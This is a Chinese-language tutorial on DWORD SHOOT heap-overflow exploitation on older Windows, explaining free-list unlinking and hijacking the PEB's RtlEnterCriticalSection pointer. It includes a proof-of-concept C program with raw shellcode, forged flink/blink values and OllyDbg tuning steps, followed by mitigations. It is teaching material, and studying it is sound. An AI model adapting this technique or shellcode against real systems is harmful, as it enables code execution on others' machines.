利用DWORD SHOOT实现堆溢出的利用
字数 1754 2025-08-06 08:35:16
DWORD SHOOT堆溢出利用技术详解
1. DWORD SHOOT概念
DWORD SHOOT是一种内存任意写技术,能够向内存任意位置写入任意数据。1个DWORD=4个字节,即可以通过执行程序将4字节的数据写入4字节地址中,从而实现某种恶意操作。
关键特性:
- 允许向任意内存地址写入任意4字节数据
- 常用于修改关键函数指针或数据结构
- 通常通过堆溢出等技术实现
2. PEB中的线程同步函数指针
在每个进程的PEB(Process Environment Block)中存放着一对关键同步函数指针:
RtlEnterCriticalSection()函数指针位于0x7FFDF020RtlLeaveCriticalSection()函数指针位于0x7FFDF024
这些指针在进程退出时会被ExitProcess()调用。如果通过DWORD SHOOT修改这些指针指向Shellcode地址,在进程退出时就会执行Shellcode。
3. 堆管理机制
3.1 堆表结构
堆区使用堆表管理堆块,主要分为两种:
- 空表(空闲双向链表)
- 单表
本文主要涉及空表利用。
3.2 空表管理
空表分为128条,标识为free[0]到free[127]:
- free[0]管理大于127*8字节的大堆块
- free[1]到free[127]分别管理8字节到1016字节(127*8)的堆块
- 每条空表是一个双向链表,管理相同或相似大小的空闲堆块
初始状态下,只有一个大空闲堆块由free[0]管理。申请堆块时从free[0]分割,释放的小堆块根据大小存入相应free[n]。
3.3 堆块结构
空闲堆块包含两个重要指针:
- 前向指针(flink):指向链表中前一个空闲堆块
- 后向指针(blink):指向链表中后一个空闲堆块
当从链表中分配一个堆块时,链表会执行如下操作:
node->blink->flink = node->flink
node->flink->blink = node->blink
4. 堆溢出利用原理
4.1 基本思路
通过堆溢出覆盖下一个待分配空闲堆块的前后向指针:
- 将后向指针修改为目标地址(如0x7FFDF020)
- 将前向指针修改为Shellcode地址
当分配该堆块时,链表操作会将Shellcode地址写入目标地址。
4.2 具体流程
- 申请堆块h1并溢出覆盖相邻空闲堆块的前后向指针
- 申请新堆块h2时触发链表操作
- 链表操作将Shellcode地址写入RtlEnterCriticalSection指针位置
- 进程退出时调用ExitProcess()
- ExitProcess()调用被修改的RtlEnterCriticalSection指针
- 执行Shellcode
5. 实践步骤
5.1 示例代码
#include <windows.h>
char shellcode[] =
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90" // 修复被堆溢出修改的指针
"\xB8\x20\xF0\xFD\x7F" // MOV EAX,7FFDF020
"\xBB\x60\x20\xF8\x77" // MOV EBX,77F82060 (需调试确定)
"\x89\x18" // MOV DWORD PTR DS:[EAX],EBX
// 下面是实际的Shellcode
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x16\x01\x1A\x00\x00\x10\x00\x00"
"\x30\x60\x40\x00\x20\xf0\xfd\x7f"; // 前向指针指向Shellcode,后向指针指向7FFDF020
int main()
{
HLOCAL h1 = 0, h2 = 0;
HANDLE hp;
hp = HeapCreate(0, 0x1000, 0x10000);
h1 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 200);
__asm int 3 // 调试中断
memcpy(h1, shellcode, 0x200); // 堆溢出
h2 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 8);
return 0;
}
5.2 调试步骤
- 在VC6.0中设置调试器为OllyDbg
- 编译执行,触发int 3中断
- 在OllyDbg中查看堆块结构:
- 0x360680是堆块起始位置
- 前208字节是h1堆块(包含8字节头部)
- 单步执行到memcpy完成
- 确定Shellcode入口地址(如0x00406030)
- 查找0x7FFDF020处存储的原函数地址(如0x77F82060)
- 更新Shellcode中的修复代码(MOV EBX,77F82060)
- 注释掉int 3指令,重新编译执行
5.3 Shellcode结构
Shellcode包含多个部分:
- NOP雪橇(可选)
- 指针修复代码(恢复RtlEnterCriticalSection指针)
- 实际功能代码(如弹窗)
- 溢出数据:
- 前向指针(指向Shellcode)
- 后向指针(指向0x7FFDF020)
6. 关键注意事项
- 调试堆与非调试堆的管理策略不同,需要使用int 3中断来避免调试堆的影响
- Shellcode地址和原函数地址需要根据实际调试结果调整
- 堆块大小计算需要考虑8字节的头部开销
- 不同Windows版本PEB结构可能不同,需重新定位关键指针
- 现代操作系统通常有防护机制(如ASLR)会阻碍此类攻击
7. 防护措施
- 使用安全函数替代不安全的memcpy等
- 启用堆保护机制(/GS编译选项)
- 实现堆完整性检查
- 使用DEP(数据执行保护)
- 启用ASLR(地址空间布局随机化)
通过理解DWORD SHOOT和堆溢出原理,可以更好地防御此类攻击并开发更安全的软件。